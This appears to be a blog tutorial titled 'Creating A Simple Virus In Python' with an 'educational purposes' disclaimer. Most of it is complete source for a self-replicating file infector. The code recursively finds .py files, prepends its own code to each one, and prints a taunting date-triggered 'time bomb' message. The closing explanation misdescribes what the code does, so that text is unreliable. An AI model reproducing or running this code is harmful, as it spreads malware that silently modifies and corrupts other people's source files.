Creating A Simple Virus In Python. Creator:Sandesh Acharya

Disclaimer – Our tutorials are designed to aid aspiring pen testers/security enthusiasts in learning new skills, we only recommend that you test this tutorial on a system that belongs to YOU. We do not accept responsibility for anyone who thinks it’s a good idea to try to use this to attempt to hack systems that do not belong to you. This Tutorial  is  Only For Educations Purpose.





#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAHA YOUR COMPUTER IS AFFECTED BY TIME BOMB VIRUS!!!YOUR COMPUTER WILL  GETS MORE SLOWER THAN EARLIER--CREATOR:SANDESH ACHARYA"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()
The code performs a search for the python files and make all the strings to the Following String “HAHA YOUR COMPUTER IS AFFECTED BY TIME BOMB VIRUS!!!YOUR COMPUTER WILL GETS MORE SLOWER THAN EARLIER--CREATOR:SANDESH ACHARYA”.

Comments

Popular posts from this blog

Our Mobile Apps... Sandesh Acharya Programs>>> ByProgrammer: Sandesh Acharya